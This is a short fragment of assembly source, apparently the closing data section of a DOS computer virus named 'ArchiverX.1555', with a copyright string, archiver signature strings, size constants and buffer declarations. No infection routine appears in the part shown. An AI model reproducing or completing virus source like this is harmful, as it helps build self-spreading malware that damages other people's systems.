dw Font4-Virus ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ ; „€›… ;ออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ VirName db 'ArchiverX.1555 -- Copyright (c) by DJ Sadovnikov' Arhivat db 'PKARRAHA' NewEXE db 'NEPELELX' CodeSize = $ - Virus Flag2 db ? Temp dd ? CurPos dd ? FSize dd ? Header db 18h dup (?) MemSize = $ - Virus Code ends end Virus